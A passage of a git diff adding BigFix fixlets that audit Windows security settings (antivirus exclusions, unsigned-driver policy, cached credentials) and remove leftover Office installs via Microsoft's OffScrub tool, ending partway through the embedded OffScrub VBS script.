+    <Relevance>exists regapp &quot;smc.exe&quot;</Relevance>
+    <Relevance><![CDATA[/* Check Heuristic Exceptions */ exists elements of intersection of ((set of (value "ThreatName" of it as string & (if (exists value "ExcludeSubDirs" whose (it = 1) of it) then ("*") else (""))) of keys of keys of keys of keys "Symantec Endpoint Protection\AV\Exclusions\HeuristicScanning" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries));(set of ((name of it & "\*") of drives)))  or /* Check Real-Time Scanning Exceptions */ exists elements of intersection of ((set of (value "ThreatName" of it as string & (if (exists value "ExcludeSubDirs" whose (it = 1) of it) then ("*") else (""))) of keys of keys of keys of keys "Symantec Endpoint Protection\AV\Exclusions\ScanningEngines" of keys "HKEY_LOCAL_MACHINE\Software\Symantec" of (x32 registries; x64 registries));(set of ((name of it & "\*") of drives)))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-27</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - System ignores driver's digital signature state - Windows (20538).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - System ignores driver's digital signature state - Windows (20538).bes
new file mode 100644
index 000000000..ea22ff40a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - System ignores driver's digital signature state - Windows (20538).bes	
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - System ignores driver's digital signature state - Windows
+  ID       : 20538
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:14:19
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - System ignores driver&apos;s digital signature state - Windows</Title>
+    <Description><![CDATA[<P>If this fixlet is relevant then the system is configured to ignore (not prompt on installation) when an attempt is made to install a driver that does not have a digital signature.</P>
+<P>This is&nbsp;a potentially dangerous non-default configuration.&nbsp;</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "5.1"]]></Relevance>
+    <Relevance>(value &quot;Policy&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Non-Driver Signing&quot; of native registry as string) = &quot;00&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - System is set to store a large number of cached credentials - Windows (20631).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - System is set to store a large number of cached credentials - Windows (20631).bes
new file mode 100644
index 000000000..7b1997261
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - System is set to store a large number of cached credentials - Windows (20631).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - System is set to store a large number of cached credentials - Windows
+  ID       : 20631
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-13T10:12:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - System is set to store a large number of cached credentials - Windows</Title>
+    <Description><![CDATA[This fixlet is relevant on computers that are configured to store more than the last 3 logged on&nbsp;user's credentials
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[value "CachedLogonsCount" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" of native registry as integer > 3]]></Relevance>
+    <Category>Credential Caching</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-01</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unsolicited Remote Assistance may not be allowed (23560).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unsolicited Remote Assistance may not be allowed (23560).bes
new file mode 100644
index 000000000..867e7f17e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unsolicited Remote Assistance may not be allowed (23560).bes	
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unsolicited Remote Assistance may not be allowed
+  ID       : 23560
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:02:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unsolicited Remote Assistance may not be allowed</Title>
+    <Description><![CDATA[<P><ENTER a description of problem and the corrective action here>Unsolicited Windows Remote Assistance requires setting a Group Policy setting:</P>
+<P>GP Path: Computer Configuration/Policies/Administrative Templates/System/Remote Assistance</P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P>Setting Name: Configure Remote Assistance<BR>Required State: Enabled<BR>Required Value: Allow Helpers to remotely control this computer</P></BLOCKQUOTE>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer | 0) = 0</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2003 Components can be removed - Windows (23819).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2003 Components can be removed - Windows (23819).bes
new file mode 100644
index 000000000..4acfbc963
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2003 Components can be removed - Windows (23819).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unused Microsoft Office 2003 Components can be removed - Windows
+  ID       : 23819
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:32:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unused Microsoft Office 2003 Components can be removed - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2003 Installation.</P>
+<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel,&nbsp;Outlook, Powerpoint,&nbsp;or Word) exist on the system but the Office suite still appears in programs and features.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys (&quot;Access&quot;;&quot;Excel&quot;;&quot;Outlook&quot;;&quot;PowerPoint&quot;;&quot;Word&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office\11.0&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Edition 2003&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+prefetch o11-remove.diagcab sha1:0AD69E36F707FE4A2BB254F9DCDF7BD6A4EDAB97 size:145218 http://download.microsoft.com/download/F/0/F/F0F9BC5C-45A4-41F4-B9AC-30D678FBC428/MicrosoftEasyFix20054.mini.diagcab sha256:E9BAC8DD32094F77A31DCB94C32950CB209EE4B6BFB8781949B926E420BFA992
+
+waithidden expand -i &quot;__Download\O11-Remove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub03.vbs&quot; ALL /Quiet</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2007 Components can be removed - Windows (23820).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2007 Components can be removed - Windows (23820).bes
new file mode 100644
index 000000000..2a5cbafc4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2007 Components can be removed - Windows (23820).bes	
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unused Microsoft Office 2007 Components can be removed - Windows
+  ID       : 23820
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:33:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unused Microsoft Office 2007 Components can be removed - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2007 Installation.</P>
+<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;12.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2007&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch o12-remove.diagcab sha1:985027E630CBBC9497F3F257A3E62B8956926DEF size:388756 http://download.microsoft.com/download/4/7/A/47A0D191-D6F9-4C95-92E6-28D1DFF80F64/MicrosoftFixit20052.mini.diagcab sha256:5168D686CDC5A51F27CB96CA97B51DCC65931F504C63D2672DAF9A1F83F33669
+
+waithidden expand -i &quot;__Download\O12-Remove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub07.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2010 Components can be removed - Windows (23821).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2010 Components can be removed - Windows (23821).bes
new file mode 100644
index 000000000..c31668720
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2010 Components can be removed - Windows (23821).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unused Microsoft Office 2010 Components can be removed - Windows
+  ID       : 23821
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:33:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unused Microsoft Office 2010 Components can be removed - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2010 Installation.</P>
+<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2010&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
+
+waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2013 Components can be removed - Windows (23822).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2013 Components can be removed - Windows (23822).bes
new file mode 100644
index 000000000..4ffdf0d93
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2013 Components can be removed - Windows (23822).bes	
@@ -0,0 +1,4135 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unused Microsoft Office 2013 Components can be removed - Windows
+  ID       : 23822
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:33:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unused Microsoft Office 2013 Components can be removed - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2013 Installation.</P>
+<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word|InfoPath) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2013&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete "OffScrub_O15msi.vbs"
+
+createfile until _end_
+'=======================================================================================================
+' Name: OffScrub_O15msi.vbs
+' Author: Microsoft Customer Support Services
+' Copyright (c) 2011-2015 Microsoft Corporation
+' Script to remove (scrub) Office 2013 MSI products
+' when a regular uninstall is no longer possible
+'=======================================================================================================
+Option Explicit
+
+Dim sDefault
+'=======================================================================================================
+'[INI] Section for script behavior customizations
+
+'Pre-configure the SKU's to remove.
+'Only for use without command line parameters
+'Example: sDefault = "CLIENTALL"
+sDefault = ""
+
+'DO NOT CUSTOMIZE BELOW THIS LINE!
+'=======================================================================================================
+
+
+Const SCRIPTVERSION = "1.99"
+Const SCRIPTFILE    = "OffScrub_O15msi.vbs"
+Const SCRIPTNAME    = "OffScrub_O15msi"
+Const OVERSION      = "15.0"
+Const OVERSIONMAJOR = "15"
+Const OREF          = "Office15"
+Const OREGREF       = "OFFICE15."
+Const ONAME         = "Office 2013 MSI"
+Const OPACKAGE      = "PackageRefs"
+Const OFFICEID      = "000000FF1CE}"
+Const HKCR          = &H80000000
+Const HKCU          = &H80000001
+Const HKLM          = &H80000002
+Const HKU           = &H80000003
+Const FOR_WRITING   = 2
+Const PRODLEN       = 12
+Const COMPPERMANENT = "00000000000000000000000000000000"
+Const UNCOMPRESSED  = 38
+Const SQUISHED      = 20
+Const COMPRESSED    = 32
+Const REG_ARP       = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
+Const VB_YES        = 6
+Const MSIOPENDATABASEREADONLY = 0
+Const LYNC_ALL      = "{{4A2C120F-307B-4400-B239-F29ADB54D3C6}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{BF3AC8BA-1A0F-42AD-8B65-4250617AF682}{{3475BF22-3564-4EF3-A633-C5F3F4582392}{{263BA91B-7782-4EEB-A4FC-7BD554CAF1F3}{{AA256AE1-6B6A-48E6-9957-B38F92CA614B}{{D79732A1-BB17-4789-AE75-69D61261E305}{{C7B887F2-07CA-4903-93A2-9B4E16E4EABD}{{81BE0B17-563B-45D4-B198-5721E6C665CD}{{11298539-8073-4D54-B6A0-88D4FA512E5C}{{C192041D-2861-4E02-9F43-4041858A58F1}{{7023C711-0E65-471E-8048-12C455968841}{{58A013B1-1613-4978-881A-FCA43710C84A}{{7FD6C049-9777-4B51-91FF-B19D79ADF439}{{D3001D99-675B-44DF-A8EB-A7BB6F864DB7}{{0C5EA724-8649-47FA-B505-75B35390378D}{{13DE0C92-2AE4-48D0-8CC8-58D5E327BDCB}{{E7EC16E6-C220-41C0-9C91-5E7702B8EC86}{{1B10C75C-70E1-460E-B07B-D7DFF365D80F}{{331977BC-B246-46B4-8829-1D52F41C8C7B}{{D8255EF2-0BB2-4AF1-A662-5EBACD179475}{{DD069437-C92B-4C1C-A992-14F6C7E12C2C}{{E9E30DB3-8D72-43A0-B1B8-A6F8261D20D6}{{545B7E32-E254-40E1-8935-91C61E3D02C2}{{70409E9E-AFAE-4C05-AE57-F83B89819434}{{1D6E3225-753D-41AD-A2C4-68684700F592}{{217AA75D-82C0-4C49-9252-A0E6F9661688}{{5AB81CD4-7C78-420C-AAAC-855C4BADBDDD}{{AA595672-6515-4961-B81F-485F86627C76}{{C9F2C38C-21F0-4687-8C7D-51AA02CE8C98}{{DD80DED6-700D-4CC5-B2A9-C64A1AD155B9}{{88257193-EC61-4152-8AB1-A5FB4BE638D7}{{7D9109C3-58A9-4AFD-A1D3-47E7D811726E}{{71C6D199-5B8E-41E7-BA36-D99F66E0072E}{{1CFE7869-777D-4563-8161-2C75ED95B621}{{FE25DDB2-5766-4A9E-86D2-2B709CC8F65D}{{621F7793-1C51-45BA-899F-41557946B0E3}{{B31017AA-FBF8-4003-8785-EC789C2AE0C2}{{11849FBC-C416-4742-8279-17C3A2C85F72}{{4F380D4B-A84D-45C7-AF58-59EA2AEDF35A}{{81BE0B17-563B-45D4-B198-5721E6C665CD}"
+
+
+'=======================================================================================================
+Dim oFso, oMsi, oReg, oWShell, oWmiLocal, oShellApp
+Dim ComputerItem, Item, LogStream, TmpKey
+Dim arrTmpSKUs, arrDeleteFiles, arrDeleteFolders, arrMseFolders, arrVersion
+Dim dictionaryKeepProd, dictionaryKeepLis, dicApps, dictionaryKeepFolder, dicDelRegKey, dictionaryKeepReg
+Dim dicInstalledSku, dicRemoveSku, dictionaryKeepSku, dicSrv, dicCSuite, dicCSingle
+Dim f64, fLegacyProductFound, fCScript
+Dim sErr, sTmp, sSkuRemoveList, sWinDir, sWICacheDir, sMode
+Dim sAppData, sTemp, sScrubDir, sProgramFiles, sProgramFilesX86, sCommonProgramFiles
+Dim sAllusersProfile, sOSinfo, sOSVersion, sCommonProgramFilesX86, sProfilesDirectory
+Dim sProgramData, sLocalAppData, sOInstallRoot, sScriptDir
+Dim iVersionNT
+
+'=======================================================================================================
+'Main
+'=======================================================================================================
+'Configure defaults
+Dim sLogDir : sLogDir = ""
+Dim sMoveMessage: sMoveMessage = ""
+Dim fRemoveOse      : fRemoveOse = False
+Dim fRemoveOspp     : fRemoveOspp = False
+Dim fRemoveAll      : fRemoveAll = False
+Dim fRemoveC2R      : fRemoveC2R = False
+Dim fRemoveAppV     : fRemoveAppV = False
+Dim fRemoveCSuites  : fRemoveCSuites = False
+Dim fRemoveCSingle  : fRemoveCSingle = False
+Dim fRemoveSrv      : fRemoveSrv = False
+Dim fRemoveLync     : fRemoveLync = False
+Dim fKeepUser       : fKeepUser = True  'Default to keep per user settings
+Dim fSkipSD         : fSkipSD = False 'Default to not Skip the Shortcut Detection
+Dim fKeepSG         : fKeepSG = False 'Default to not override the SoftGrid detection
+Dim fDetectOnly     : fDetectOnly = False
+Dim fQuiet          : fQuiet = True
+Dim fBasic          : fBasic = False
+Dim fNoCancel       : fNoCancel = False
+Dim fPassive        : fPassive = True
+Dim fNoReboot       : fNoReboot = True 'Default to offer reboot prompt if needed
+Dim fNoElevate      : fNoElevate = False
+Dim fElevated       : fElevated = False
+Dim fTryReconcile   : fTryReconcile = False
+Dim fC2rInstalled   : fC2rInstalled = False
+'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
+Dim fForce          : fForce = False
+'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
+Dim fLogInitialized : fLogInitialized = False
+Dim fBypass_Stage1  : fBypass_Stage1 = True 'Component Detection
+Dim fBypass_Stage2  : fBypass_Stage2 = False 'Setup
+Dim fBypass_Stage3  : fBypass_Stage3 = False 'Msiexec
+Dim fBypass_Stage4  : fBypass_Stage4 = False 'CleanUp
+Dim fRebootRequired : fRebootRequired = False
+
+'Create required objects
+Set oWmiLocal   = GetObject("winmgmts:{{(Debug)}\\.\root\cimv2")
+Set oWShell     = CreateObject("Wscript.Shell")
+Set oShellApp   = CreateObject("Shell.Application")
+Set oFso        = CreateObject("Scripting.FileSystemObject")
+Set oMsi        = CreateObject("WindowsInstaller.Installer")
+Set oReg        = GetObject("winmgmts:\\.\root\default:StdRegProv")
+
+'Get environment path info
+sAppData            = oWShell.ExpandEnvironmentStrings("%appdata%")
+sLocalAppData       = oWShell.ExpandEnvironmentStrings("%localappdata%")
+sTemp               = oWShell.ExpandEnvironmentStrings("%temp%")
+sAllUsersProfile    = oWShell.ExpandEnvironmentStrings("%allusersprofile%")
+RegReadValue HKLM, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory", sProfilesDirectory, "REG_EXPAND_SZ"
+If NOT oFso.FolderExists(sProfilesDirectory) Then
+    sProfilesDirectory  = oFso.GetParentFolderName(oWShell.ExpandEnvironmentStrings("%userprofile%"))
+End If
+sProgramFiles       = oWShell.ExpandEnvironmentStrings("%programfiles%")
+'Deferred until after architecture check
+'sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
+
+sCommonProgramFiles = oWShell.ExpandEnvironmentStrings("%commonprogramfiles%")
+'Deferred until after architecture check
+'sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
+
+sProgramData        = oWSHell.ExpandEnvironmentStrings("%programdata%")
+sWinDir             = oWShell.ExpandEnvironmentStrings("%windir%")
+sWICacheDir         = sWinDir & "\" & "Installer"
+sScrubDir           = sTemp & "\" & SCRIPTNAME
+sScriptDir          = wscript.ScriptFullName
+sScriptDir          = Left(sScriptDir, InStrRev(sScriptDir, "\"))
+
+' Get current script host
+fCScript = UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C"
+
+'Detect if we're running on a 64 bit OS
+Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_ComputerSystem")
+For Each Item In ComputerItem
+    f64 = Instr(Left(Item.SystemType,3),"64") > 0
+    If f64 Then Exit For
+Next
+If f64 Then sProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%programfiles(x86)%")
+If f64 Then sCommonProgramFilesX86 = oWShell.ExpandEnvironmentStrings("%CommonProgramFiles(x86)%")
+
+'Get OS details and VersionNT
+Set ComputerItem = oWmiLocal.ExecQuery("Select * from Win32_OperatingSystem")
+For Each Item in ComputerItem
+    sOSinfo = sOSinfo & Item.Caption
+    sOSinfo = sOSinfo & Item.OtherTypeDescription
+    sOSinfo = sOSinfo & ", " & "SP " & Item.ServicePackMajorVersion
+    sOSinfo = sOSinfo & ", " & "Version: " & Item.Version
+    sOsVersion = Item.Version
+    sOSinfo = sOSinfo & ", " & "Codepage: " & Item.CodeSet
+    sOSinfo = sOSinfo & ", " & "Country Code: " & Item.CountryCode
+    sOSinfo = sOSinfo & ", " & "Language: " & Item.OSLanguage
+Next
+
+'Build the VersionNT number
+arrVersion = Split(sOsVersion, Delimiter(sOsVersion))
+iVersionNt = CInt(arrVersion (0)) * 100 + CInt(arrVersion (1))
+
+'Check if we're running as 32 bit process on a 64 bit OS
+If InStr(LCase(wscript.path), "syswow64") > 0 Then RelaunchAs64Host
+
+fElevated = CheckRegPermissions
+If NOT fElevated AND NOT fNoElevate Then
+    'Try to relaunch elevated
+    RelaunchElevated
+
+    'Can't relaunch. Exit out
+    If UCase(Mid(Wscript.FullName, Len(Wscript.Path) + 2, 1)) = "C" Then
